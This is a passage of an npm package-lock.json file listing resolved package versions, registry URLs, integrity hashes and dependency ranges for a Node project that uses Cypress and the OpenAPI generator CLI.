"integrity": "sha512-1m4RA7xVAJrSGrrXGs0L3YTwyvBs2S8PbRHaLZAkFw7JR8oIFwYtysxlBZhYIa7xSyiYJKZ3iGrrk55cGA3i9A==", "dev": true, "engines": { "node": ">=0.6" } }, "node_modules/trim-newlines": { "version": "3.0.1", "resolved": "https://registry.npmjs.org/trim-newlines/-/trim-newlines-3.0.1.tgz", "integrity": "sha512-c1PTsA3tYrIsLGkJkzHF+w9F2EyxfXGo4UyJc4pFL++FMjnq0HJS69T3M7d//gKrFKwy429bouPescbjecU+Zw==", "engines": { "node": ">=8" } }, "node_modules/trough": { "version": "1.0.5", "resolved": "https://registry.npmjs.org/trough/-/trough-1.0.5.tgz", "integrity": "sha512-rvuRbTarPXmMb79SmzEp8aqXNKcK+y0XaB298IXueQ8I2PsrATcPBCSPyK/dDNa2iWOhKlfNnOjdAOTBU/nkFA==", "funding": { "type": "github", "url": "https://github.com/sponsors/wooorm" } }, "node_modules/tslib": { "version": "1.14.1", "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.14.1.tgz", "integrity": "sha512-Xni35NKzjgMrwevysHTCArtLDpPvye8zV/0E4EyYn43P7/7qvQwPh9BGkHewbMulVntbigmcT7rdX3BNo9wRJg==" }, "node_modules/tunnel-agent": { "version": "0.6.0", "resolved": "https://registry.npmjs.org/tunnel-agent/-/tunnel-agent-0.6.0.tgz", "integrity": "sha1-J6XeoGs2sEoKmWZ3SykIaPD8QP0=", "dev": true, "dependencies": { "safe-buffer": "^5.0.1" }, "engines": { "node": "*" } }, "node_modules/tweetnacl": { "version": "0.14.5", "resolved": "https://registry.npmjs.org/tweetnacl/-/tweetnacl-0.14.5.tgz", "integrity": "sha1-WuaBd/GS1EViadEIr6k/+HQ/T2Q=", "dev": true }, "node_modules/type-check": { "version": "0.3.2", "resolved": "https://registry.npmjs.org/type-check/-/type-check-0.3.2.tgz", "integrity": "sha1-WITKtRLPHTVeP7eE8wgEsrUg23I=", "dev": true, "dependencies": { "prelude-ls": "~1.1.2" }, "engines": { "node": ">= 0.8.0" } }, "node_modules/type-fest": { "version": "0.21.3", "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.21.3.tgz", "integrity": "sha512-t0rzBq87m3fVcduHDUFhKmyyX+9eo6WQjZvf51Ea/M0Q7+T374Jp1aUiyUl0GKxp8M/OETVHSDvmkyPgvX+X2w==", "engines": { "node": ">=10" }, "funding": { "url": "https://github.com/sponsors/sindresorhus" } }, "node_modules/uglify-js": { "version": "3.17.4", "resolved": "https://registry.npmjs.org/uglify-js/-/uglify-js-3.17.4.tgz", "integrity": "sha512-T9q82TJI9e/C1TAxYvfb16xO120tMVFZrGA3f9/P4424DNu6ypK103y0GPFVa17yotwSyZW5iYXgjYHkGrJW/g==", "optional": true, "bin": { "uglifyjs": "bin/uglifyjs" }, "engines": { "node": ">=0.8.0" } }, "node_modules/uid": { "version": "2.0.1", "resolved": "https://registry.npmjs.org/uid/-/uid-2.0.1.tgz", "integrity": "sha512-PF+1AnZgycpAIEmNtjxGBVmKbZAQguaa4pBUq6KNaGEcpzZ2klCNZLM34tsjp76maN00TttiiUf6zkIBpJQm2A==", "dependencies": { "@lukeed/csprng": "^1.0.0" }, "engines": { "node": ">=8" } }, "node_modules/underscore": { "version": "1.13.6", "resolved": "https://registry.npmjs.org/underscore/-/underscore-1.13.6.tgz", "integrity": "sha512-+A5Sja4HP1M08MaXya7p5LvjuM7K6q/2EaC0+iovj/wOcMsTzMvDFbasi/oSapiwOlt252IqsKqPjCl7huKS0A==" }, "node_modules/unified": { "version": "9.2.2", "resolved": "https://registry.npmjs.org/unified/-/unified-9.2.2.tgz", "integrity": "sha512-Sg7j110mtefBD+qunSLO1lqOEKdrwBFBrR6Qd8f4uwkhWNlbkaqwHse6e7QvD3AP/MNoJdEDLaf8OxYyoWgorQ==", "dependencies": { "bail": "^1.0.0", "extend": "^3.0.0", "is-buffer": "^2.0.0", "is-plain-obj": "^2.0.0", "trough": "^1.0.0", "vfile": "^4.0.0" }, "funding": { "type": "opencollective", "url": "https://opencollective.com/unified" } }, "node_modules/uniq": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/uniq/-/uniq-1.0.1.tgz", "integrity": "sha1-sxxa6CVIRKOoKBVBzisEuGWnNP8=", "dev": true }, "node_modules/unist-util-is": { "version": "4.1.0", "resolved": "https://registry.npmjs.org/unist-util-is/-/unist-util-is-4.1.0.tgz", "integrity": "sha512-ZOQSsnce92GrxSqlnEEseX0gi7GH9zTJZ0p9dtu87WRb/37mMPO2Ilx1s/t9vBHrFhbgweUwb+t7cIn5dxPhZg==", "funding": { "type": "opencollective", "url": "https://opencollective.com/unified" } }, "node_modules/unist-util-stringify-position": { "version": "2.0.3", "resolved": "https://registry.npmjs.org/unist-util-stringify-position/-/unist-util-stringify-position-2.0.3.tgz", "integrity": "sha512-3faScn5I+hy9VleOq/qNbAd6pAx7iH5jYBMS9I1HgQVijz/4mv5Bvw5iw1sC/90CODiKo81G/ps8AJrISn687g==", "dependencies": { "@types/unist": "^2.0.2" }, "funding": { "type": "opencollective", "url": "https://opencollective.com/unified" } }, "node_modules/unist-util-visit-parents": { "version": "3.1.1", "resolved": "https://registry.npmjs.org/unist-util-visit-parents/-/unist-util-visit-parents-3.1.1.tgz", "integrity": "sha512-1KROIZWo6bcMrZEwiH2UrXDyalAa0uqzWCxCJj6lPOvTve2WkfgCytoDTPaMnodXh1WrXOq0haVYHj99ynJlsg==", "dependencies": { "@types/unist": "^2.0.0", "unist-util-is": "^4.0.0" }, "funding": { "type": "opencollective", "url": "https://opencollective.com/unified" } }, "node_modules/universalify": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/universalify/-/universalify-2.0.0.tgz", "integrity": "sha512-hAZsKq7Yy11Zu1DE0OzWjw7nnLZmJZYTDZZyEFHZdUhV8FkH5MCfoU1XMaxXovpyW5nq5scPqq0ZDP9Zyl04oQ==", "engines": { "node": ">= 10.0.0" } }, "node_modules/untildify": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/untildify/-/untildify-4.0.0.tgz", "integrity": "sha512-KK8xQ1mkzZeg9inewmFVDNkg3l5LUhoq9kN6iWYB/CC9YMG8HA+c1Q8HwDe6dEX7kErrEVNVBO3fWsVq5iDgtw==", "dev": true, "engines": { "node": ">=8" } }, "node_modules/update-section": { "version": "0.3.3", "resolved": "https://registry.npmjs.org/update-section/-/update-section-0.3.3.tgz", "integrity": "sha512-BpRZMZpgXLuTiKeiu7kK0nIPwGdyrqrs6EDSaXtjD/aQ2T+qVo9a5hRC3HN3iJjCMxNT/VxoLGQ7E/OzE5ucnw==" }, "node_modules/uri-js": { "version": "4.2.2", "resolved": "https://registry.npmjs.org/uri-js/-/uri-js-4.2.2.tgz", "integrity": "sha512-KY9Frmirql91X2Qgjry0Wd4Y+YTdrdZheS8TFwvkbLWf/G5KNJDCh6pKL5OZctEW4+0Baa5idK2ZQuELRwPznQ==", "dev": true, "dependencies": { "punycode": "^2.1.0" } }, "node_modules/url-parse": { "version": "1.5.10", "resolved": "https://registry.npmjs.org/url-parse/-/url-parse-1.5.10.tgz", "integrity": "sha512-WypcfiRhfeUP9vvF0j6rw0J3hrWrw6iZv3+22h6iRMJ/8z1Tj6XfLP4DsUix5MhMPnXpiHDoKyoZ/bdCkwBCiQ==", "dev": true, "dependencies": { "querystringify": "^2.1.1", "requires-port": "^1.0.0" } }, "node_modules/util-deprecate": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz", "integrity": "sha1-RQ1Nyfpw3nMnYvvS1KKJgUGaDM8=" }, "node_modules/util-extend": { "version": "1.0.3", "resolved": "https://registry.npmjs.org/util-extend/-/util-extend-1.0.3.tgz", "integrity": "sha512-mLs5zAK+ctllYBj+iAQvlDCwoxU/WDOUaJkcFudeiAX6OajC6BKXJUa9a+tbtkC11dz2Ufb7h0lyvIOVn4LADA==", "dev": true }, "node_modules/uuid": { "version": "8.3.2", "resolved": "https://registry.npmjs.org/uuid/-/uuid-8.3.2.tgz", "integrity": "sha512-+NYs2QeMWy+GWFOEm9xnn6HCDp0l7QBD7ml8zLUmJ+93Q5NF0NocErnwkTkXVFNiX3/fpC6afS8Dhb/gz7R7eg==", "dev": true, "bin": { "uuid": "dist/bin/uuid" } }, "node_modules/validate-npm-package-license": { "version": "3.0.4", "resolved": "https://registry.npmjs.org/validate-npm-package-license/-/validate-npm-package-license-3.0.4.tgz", "integrity": "sha512-DpKm2Ui/xN7/HQKCtpZxoRWBhZ9Z0kqtygG8XCgNQ8ZlDnxuQmWhj566j8fN4Cu3/JmbhsDo7fcAJq4s9h27Ew==", "dependencies": { "spdx-correct": "^3.0.0", "spdx-expression-parse": "^3.0.0" } }, "node_modules/verror": { "version": "1.10.0", "resolved": "https://registry.npmjs.org/verror/-/verror-1.10.0.tgz", "integrity": "sha1-OhBcoXBTr1XW4nDB+CiGguGNpAA=", "dev": true, "engines": [ "node >=0.6.0" ], "dependencies": { "assert-plus": "^1.0.0", "core-util-is": "1.0.2", "extsprintf": "^1.2.0" } }, "node_modules/vfile": { "version": "4.2.1", "resolved": "https://registry.npmjs.org/vfile/-/vfile-4.2.1.tgz", "integrity": "sha512-O6AE4OskCG5S1emQ/4gl8zK586RqA3srz3nfK/Viy0UPToBc5Trp9BVFb1u0CjsKrAWwnpr4ifM/KBXPWwJbCA==", "dependencies": { "@types/unist": "^2.0.0", "is-buffer": "^2.0.0", "unist-util-stringify-position": "^2.0.0", "vfile-message": "^2.0.0" }, "funding": { "type": "opencollective", "url": "https://opencollective.com/unified" } }, "node_modules/vfile-message": { "version": "2.0.4", "resolved": "https://registry.npmjs.org/vfile-message/-/vfile-message-2.0.4.tgz", "integrity": "sha512-DjssxRGkMvifUOJre00juHoP9DPWuzjxKuMDrhNbk2TdaYYBNMStsNhEOt3idrtI12VQYM/1+iM0KOzXi4pxwQ==", "dependencies": { "@types/unist": "^2.0.0", "unist-util-stringify-position": "^2.0.0" }, "funding": { "type": "opencollective", "url": "https://opencollective.com/unified" } }, "node_modules/wait-on": { "version": "7.0.1", "resolved": "https://registry.npmjs.org/wait-on/-/wait-on-7.0.1.tgz", "integrity": "sha512-9AnJE9qTjRQOlTZIldAaf/da2eW0eSRSgcqq85mXQja/DW3MriHxkpODDSUEg+Gri/rKEcXUZHe+cevvYItaog==", "dev": true, "dependencies": { "axios": "^0.27.2", "joi": "^17.7.0", "lodash": "^4.17.21", "minimist": "^1.2.7", "rxjs": "^7.8.0" }, "bin": { "wait-on": "bin/wait-on" }, "engines": { "node": ">=12.0.0" } }, "node_modules/wait-on/node_modules/rxjs": { "version": "7.8.1", "resolved": "https://registry.npmjs.org/rxjs/-/rxjs-7.8.1.tgz", "integrity": "sha512-AA3TVj+0A2iuIoQkWEK/tqFjBq2j+6PO6Y0zJcvzLAFhEFIO3HL0vls9hWLncZbAAbK0mar7oZ4V079I/qPMxg==", "dev": true, "dependencies": { "tslib": "^2.1.0" } }, "node_modules/wait-on/node_modules/tslib": { "version": "2.6.1", "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.6.1.tgz", "integrity": "sha512-t0hLfiEKfMUoqhG+U1oid7Pva4bbDPHYfJNiB7BiIjRkj1pyC++4N3huJfqY6aRH6VTB0rvtzQwjM4K6qpfOig==", "dev": true }, "node_modules/wcwidth": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/wcwidth/-/wcwidth-1.0.1.tgz", "integrity": "sha1-8LDc+RW8X/FSivrbLA4XtTLaL+g=", "dependencies": { "defaults": "^1.0.3" } }, "node_modules/webidl-conversions": { "version": "3.0.1", "resolved": "https://registry.npmjs.org/webidl-conversions/-/webidl-conversions-3.0.1.tgz", "integrity": "sha512-2JAn3z8AR6rjK8Sm8orRC0h/bcl/DqL7tRPdGZ4I1CjdF+EaMLmYxBHyXuKL849eucPFhvBoxMsflfOb8kxaeQ==" }, "node_modules/whatwg-url": { "version": "5.0.0", "resolved": "https://registry.npmjs.org/whatwg-url/-/whatwg-url-5.0.0.tgz", "integrity": "sha512-saE57nupxk6v3HY35+jzBwYa0rKSy0XR8JSxZPwgLr7ys0IBzhGviA1/TUGJLmSVqs8pb9AnvICXEuOHLprYTw==", "dependencies": { "tr46": "~0.0.3", "webidl-conversions": "^3.0.0" } }, "node_modules/which": { "version": "1.3.1", "resolved": "https://registry.npmjs.org/which/-/which-1.3.1.tgz", "integrity": "sha512-HxJdYWq1MTIQbJ3nw0cqssHoTNU267KlrDuGZ1WYlxDStUtKUhOaJmh112/TZmHxxUfuJqPXSOm7tDyas0OSIQ==", "dev": true, "dependencies": { "isexe": "^2.0.0" }, "bin": { "which": "bin/which" } }, "node_modules/wordwrap": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/wordwrap/-/wordwrap-1.0.0.tgz", "integrity": "sha1-J1hIEIkUVqQXHI0CJkQa3pDLyus=" }, "node_modules/wrap-ansi": { "version": "7.0.0", "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-7.0.0.tgz", "integrity": "sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==", "dependencies": { "ansi-styles": "^4.0.0", "string-width": "^4.1.0", "strip-ansi": "^6.0.0" }, "engines": { "node": ">=10" }, "funding": { "url": "https://github.com/chalk/wrap-ansi?sponsor=1" } }, "node_modules/wrap-ansi/node_modules/ansi-regex": { "version": "5.0.1", "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", "engines": { "node": ">=8" } }, "node_modules/wrap-ansi/node_modules/ansi-styles": { "version": "4.3.0", "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", "dependencies": { "color-convert": "^2.0.1" }, "engines": { "node": ">=8" }, "funding": { "url": "https://github.com/chalk/ansi-styles?sponsor=1" } }, "node_modules/wrap-ansi/node_modules/color-convert": { "version": "2.0.1", "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", "dependencies": { "color-name": "~1.1.4" }, "engines": { "node": ">=7.0.0" } }, "node_modules/wrap-ansi/node_modules/color-name": { "version": "1.1.4", "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==" }, "node_modules/wrap-ansi/node_modules/strip-ansi": { "version": "6.0.0", "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.0.tgz", "integrity": "sha512-AuvKTrTfQNYNIctbR1K/YGTR1756GycPsg7b9bdV9Duqur4gv6aKqHXah67Z8ImS7WEz5QVcOtlfW2rZEugt6w==", "dependencies": { "ansi-regex": "^5.0.0" }, "engines": { "node": ">=8" } }, "node_modules/wrappy": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz", "integrity": "sha1-tSQ9jz7BqjXxNkYFvA0QNuMKtp8=" }, "node_modules/write": { "version": "0.2.1", "resolved": "https://registry.npmjs.org/write/-/write-0.2.1.tgz", "integrity": "sha1-X8A4KOJkzqP+kUVUdvejxWbLB1c=", "dev": true, "dependencies": { "mkdirp": "^0.5.1" }, "engines": { "node": ">=0.10.0" } }, "node_modules/xtend": { "version": "4.0.1", "resolved": "https://registry.npmjs.org/xtend/-/xtend-4.0.1.tgz", "integrity": "sha1-pcbVMr5lbiPbgg77lDofBJmNY68=", "engines": { "node": ">=0.4" } }, "node_modules/y18n": { "version": "5.0.8", "resolved": "https://registry.npmjs.org/y18n/-/y18n-5.0.8.tgz", "integrity": "sha512-0pfFzegeDWJHJIAmTLRP2DwHjdF5s7jo9tuztdQxAhINCdvS+3nGINqPd00AphqJR/0LhANUS6/+7SCb98YOfA==", "engines": { "node": ">=10" } }, "node_modules/yallist": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz", "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==" }, "node_modules/yargs": { "version": "16.2.0", "resolved": "https://registry.npmjs.org/yargs/-/yargs-16.2.0.tgz", "integrity": "sha512-D1mvvtDG0L5ft/jGWkLpG1+m0eQxOfaBvTNELraWj22wSVUMWxZUvYgJYcKh6jGGIkJFhH4IZPQhR4TKpc8mBw==", "dependencies": { "cliui": "^7.0.2", "escalade": "^3.1.1", "get-caller-file": "^2.0.5", "require-directory": "^2.1.1", "string-width": "^4.2.0", "y18n": "^5.0.5", "yargs-parser": "^20.2.2" }, "engines": { "node": ">=10" } }, "node_modules/yargs-parser": { "version": "20.2.9", "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-20.2.9.tgz", "integrity": "sha512-y11nGElTIV+CT3Zv9t7VKl+Q3hTQoT9a1Qzezhhl6Rp21gJ/IVTW7Z3y9EWXhuUBC2Shnf+DX0antecpAwSP8w==", "engines": { "node": ">=10" } }, "node_modules/yauzl": { "version": "2.10.0", "resolved": "https://registry.npmjs.org/yauzl/-/yauzl-2.10.0.tgz", "integrity": "sha1-x+sXyT4RLLEIb6bY5R+wZnt5pfk=", "dev": true, "dependencies": { "buffer-crc32": "~0.2.3", "fd-slicer": "~1.1.0" } }, "node_modules/zwitch": { "version": "1.0.5", "resolved": "https://registry.npmjs.org/zwitch/-/zwitch-1.0.5.tgz", "integrity": "sha512-V50KMwwzqJV0NpZIZFwfOD5/lyny3WlSzRiXgA0G7VUnRlqttta1L6UQIHzd6EuBY/cHGfwTIck7w1yH6Q5zUw==", "funding": { "type": "github", "url": "https://github.com/sponsors/wooorm" } } }, "dependencies": { "@babel/code-frame": { "version": "7.18.6", "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.18.6.tgz", "integrity": "sha512-TDCmlK5eOvH+eH7cdAFlNXeVJqWIQ7gW9tY1GJIpUtFb6CmjVyq2VM3u71bOyR8CRihcCgMUYoDNyLXao3+70Q==", "requires": { "@babel/highlight": "^7.18.6" } }, "@babel/helper-validator-identifier": { "version": "7.19.1", "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.19.1.tgz", "integrity": "sha512-awrNfaMtnHUr653GgGEs++LlAvW6w+DcPrOliSMXWCKo597CwL5Acf/wWdNkf/tfEQE3mjkeD1YOVZOUV/od1w==" }, "@babel/highlight": { "version": "7.18.6", "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.18.6.tgz", "integrity": "sha512-u7stbOuYjaPezCuLj29hNW1v64M2Md2qupEKP1fHc7WdOA3DgLh37suiSrZYY7haUB7iBeQZ9P1uiRF359do3g==", "requires": { "@babel/helper-validator-identifier": "^7.18.6", "chalk": "^2.0.0", "js-tokens": "^4.0.0" }, "dependencies": { "js-tokens": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-4.0.0.tgz", "integrity": "sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==" } } }, "@colors/colors": { "version": "1.5.0", "resolved": "https://registry.npmjs.org/@colors/colors/-/colors-1.5.0.tgz", "integrity": "sha512-ooWCrlZP11i8GImSjTHYHLkvFDP48nS4+204nGb1RiX/WXYHmJA2III9/e2DWVabCESdW7hBAEzHRqUn9OUVvQ==", "dev": true, "optional": true }, "@cypress/request": { "version": "2.88.12", "resolved": "https://registry.npmjs.org/@cypress/request/-/request-2.88.12.tgz", "integrity": "sha512-tOn+0mDZxASFM+cuAP9szGUGPI1HwWVSvdzm7V4cCsPdFTx6qMj29CwaQmRAMIEhORIUBFBsYROYJcveK4uOjA==", "dev": true, "requires": { "aws-sign2": "~0.7.0", "aws4": "^1.8.0", "caseless": "~0.12.0", "combined-stream": "~1.0.6", "extend": "~3.0.2", "forever-agent": "~0.6.1", "form-data": "~2.3.2", "http-signature": "~1.3.6", "is-typedarray": "~1.0.0", "isstream": "~0.1.2", "json-stringify-safe": "~5.0.1", "mime-types": "~2.1.19", "performance-now": "^2.1.0", "qs": "~6.10.3", "safe-buffer": "^5.1.2", "tough-cookie": "^4.1.3", "tunnel-agent": "^0.6.0", "uuid": "^8.3.2" }, "dependencies": { "http-signature": { "version": "1.3.6", "resolved": "https://registry.npmjs.org/http-signature/-/http-signature-1.3.6.tgz", "integrity": "sha512-3adrsD6zqo4GsTqtO7FyrejHNv+NgiIfAfv68+jVlFmSr9OGy7zrxONceFRLKvnnZA5jbxQBX1u9PpB6Wi32Gw==", "dev": true, "requires": { "assert-plus": "^1.0.0", "jsprim": "^2.0.2", "sshpk": "^1.14.1" } }, "jsprim": { "version": "2.0.2", "resolved": "https://registry.npmjs.org/jsprim/-/jsprim-2.0.2.tgz", "integrity": "sha512-gqXddjPqQ6G40VdnI6T6yObEC+pDNvyP95wdQhkWkg7crHH3km5qP1FsOXEkzEQwnz6gz5qGTn1c2Y52wP3OyQ==", "dev": true, "requires": { "assert-plus": "1.0.0", "extsprintf": "1.3.0", "json-schema": "0.4.0", "verror": "1.10.0" } } } }, "@cypress/xvfb": { "version": "1.2.4", "resolved": "https://registry.npmjs.org/@cypress/xvfb/-/xvfb-1.2.4.tgz", "integrity": "sha512-skbBzPggOVYCbnGgV+0dmBdW/s77ZkAOXIC1knS8NagwDjBrNC1LuXtQJeiN6l+m7lzmHtaoUw/ctJKdqkG57Q==", "dev": true, "requires": { "debug": "^3.1.0", "lodash.once": "^4.1.1" } }, "@hapi/hoek": { "version": "9.3.0", "resolved": "https://registry.npmjs.org/@hapi/hoek/-/hoek-9.3.0.tgz", "integrity": "sha512-/c6rf4UJlmHlC9b5BaNvzAcFv7HZ2QHaV0D4/HNlBdvFnvQq8RI4kYdhyPCl7Xj+oWvTWQ8ujhqS53LIgAe6KQ==", "dev": true }, "@hapi/topo": { "version": "5.1.0", "resolved": "https://registry.npmjs.org/@hapi/topo/-/topo-5.1.0.tgz", "integrity": "sha512-foQZKJig7Ob0BMAYBfcJk8d77QtOe7Wo4ox7ff1lQYoNNAb6jwcY1ncdoy2e9wQZzvNy7ODZCYJkK8kzmcAnAg==", "dev": true, "requires": { "@hapi/hoek": "^9.0.0" } }, "@hutson/parse-repository-url": { "version": "3.0.2", "resolved": "https://registry.npmjs.org/@hutson/parse-repository-url/-/parse-repository-url-3.0.2.tgz", "integrity": "sha512-H9XAx3hc0BQHY6l+IFSWHDySypcXsvsuLhgYLUGywmJ5pswRVQJUHpOsobnLYp2ZUaUlKiKDrgWWhosOwAEM8Q==" }, "@lukeed/csprng": { "version": "1.1.0", "resolved": "https://registry.npmjs.org/@lukeed/csprng/-/csprng-1.1.0.tgz", "integrity": "sha512-Z7C/xXCiGWsg0KuKsHTKJxbWhpI3Vs5GwLfOean7MGyVFGqdRgBbAjOCh6u4bbjPc/8MJ2pZmK/0DLdCbivLDA==" }, "@nodelib/fs.scandir": { "version": "2.1.5", "resolved": "https://registry.npmjs.org/@nodelib/fs.scandir/-/fs.scandir-2.1.5.tgz", "integrity": "sha512-vq24Bq3ym5HEQm2NKCr3yXDwjc7vTsEThRDnkp2DK9p1uqLR+DHurm/NOTo0KG7HYHU7eppKZj3MyqYuMBf62g==", "dev": true, "requires": { "@nodelib/fs.stat": "2.0.5", "run-parallel": "^1.1.9" } }, "@nodelib/fs.stat": { "version": "2.0.5", "resolved": "https://registry.npmjs.org/@nodelib/fs.stat/-/fs.stat-2.0.5.tgz", "integrity": "sha512-RkhPPp2zrqDAQA/2jNhnztcPAlv64XdhIp7a7454A5ovI7Bukxgt7MX7udwAu3zg1DcpPU0rz3VV1SeaqvY4+A==", "dev": true }, "@nodelib/fs.walk": { "version": "1.2.8", "resolved": "https://registry.npmjs.org/@nodelib/fs.walk/-/fs.walk-1.2.8.tgz", "integrity": "sha512-oGB+UxlgWcgQkgwo8GcEGwemoTFt3FIO9ababBmaGwXIoBKZ+GTy0pP185beGg7Llih/NSHSV2XAs1lnznocSg==", "dev": true, "requires": { "@nodelib/fs.scandir": "2.1.5", "fastq": "^1.6.0" } }, "@nuxtjs/opencollective": { "version": "0.3.2", "resolved": "https://registry.npmjs.org/@nuxtjs/opencollective/-/opencollective-0.3.2.tgz", "integrity": "sha512-um0xL3fO7Mf4fDxcqx9KryrB7zgRM5JSlvGN5AGkP6JLM5XEKyjeAiPbNxdXVXQ16isuAhYpvP88NgL2BGd6aA==", "requires": { "chalk": "^4.1.0", "consola": "^2.15.0", "node-fetch": "^2.6.1" }, "dependencies": { "ansi-styles": { "version": "4.3.0", "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", "requires": { "color-convert": "^2.0.1" } }, "chalk": { "version": "4.1.2", "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", "requires": { "ansi-styles": "^4.1.0", "supports-color": "^7.1.0" } }, "color-convert": { "version": "2.0.1", "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", "requires": { "color-name": "~1.1.4" } }, "color-name": { "version": "1.1.4", "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==" }, "has-flag": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==" }, "supports-color": { "version": "7.2.0", "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", "requires": { "has-flag": "^4.0.0" } } } }, "@openapitools/openapi-generator-cli": { "version": "2.6.0", "resolved": "https://registry.npmjs.org/@openapitools/openapi-generator-cli/-/openapi-generator-cli-2.6.0.tgz", "integrity": "sha512-M/aOpR7G+Y1nMf+ofuar8pGszajgfhs1aSPSijkcr2tHTxKAI3sA3YYcOGbszxaNRKFyvOcDq+KP9pcJvKoCHg==", "requires": { "@nestjs/axios": "0.0.8", "@nestjs/common": "9.3.11", "@nestjs/core": "9.3.11", "@nuxtjs/opencollective": "0.3.2", "chalk": "4.1.2", "commander": "8.3.0", "compare-versions": "4.1.4", "concurrently": "6.5.1", "console.table": "0.10.0", "fs-extra": "10.1.0", "glob": "7.1.6", "inquirer": "8.2.5", "lodash": "4.17.21", "reflect-metadata": "0.1.13", "rxjs": "7.8.0", "tslib": "2.0.3" }, "dependencies": { "@nestjs/axios": { "version": "0.0.8", "resolved": "https://registry.npmjs.org/@nestjs/axios/-/axios-0.0.8.tgz", "integrity": "sha512-oJyfR9/h9tVk776il0829xyj3b2e81yTu6HjPraxynwNtMNGqZBHHmAQL24yMB3tVbBM0RvG3eUXH8+pRCGwlg==", "requires": { "axios": "0.27.2" } }, "@nestjs/common": { "version": "9.3.11", "resolved": "https://registry.npmjs.org/@nestjs/common/-/common-9.3.11.tgz", "integrity": "sha512-IFZ2G/5UKWC2Uo7tJ4SxGed2+aiA+sJyWeWsGTogKVDhq90oxVBToh+uCDeI31HNUpqYGoWmkletfty42zUd8A==", "requires": { "iterare": "1.2.1", "tslib": "2.5.0", "uid": "2.0.1" }, "dependencies": { "tslib": { "version": "2.5.0", "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.5.0.tgz", "integrity": "sha512-336iVw3rtn2BUK7ORdIAHTyxHGRIHVReokCR3XjbckJMK7ms8FysBfhLR8IXnAgy7T0PTPNBWKiH514FOW/WSg==" } } }, "@nestjs/core": { "version": "9.3.11", "resolved": "https://registry.npmjs.org/@nestjs/core/-/core-9.3.11.tgz", "integrity": "sha512-CI27a2JFd5rvvbgkalWqsiwQNhcP4EAG5BUK8usjp29wVp1kx30ghfBT8FLqIgmkRVo65A0IcEnWsxeXMntkxQ==", "requires": { "@nuxtjs/opencollective": "0.3.2", "fast-safe-stringify": "2.1.1", "iterare": "1.2.1", "path-to-regexp": "3.2.0", "tslib": "2.5.0", "uid": "2.0.1" }, "dependencies": { "tslib": { 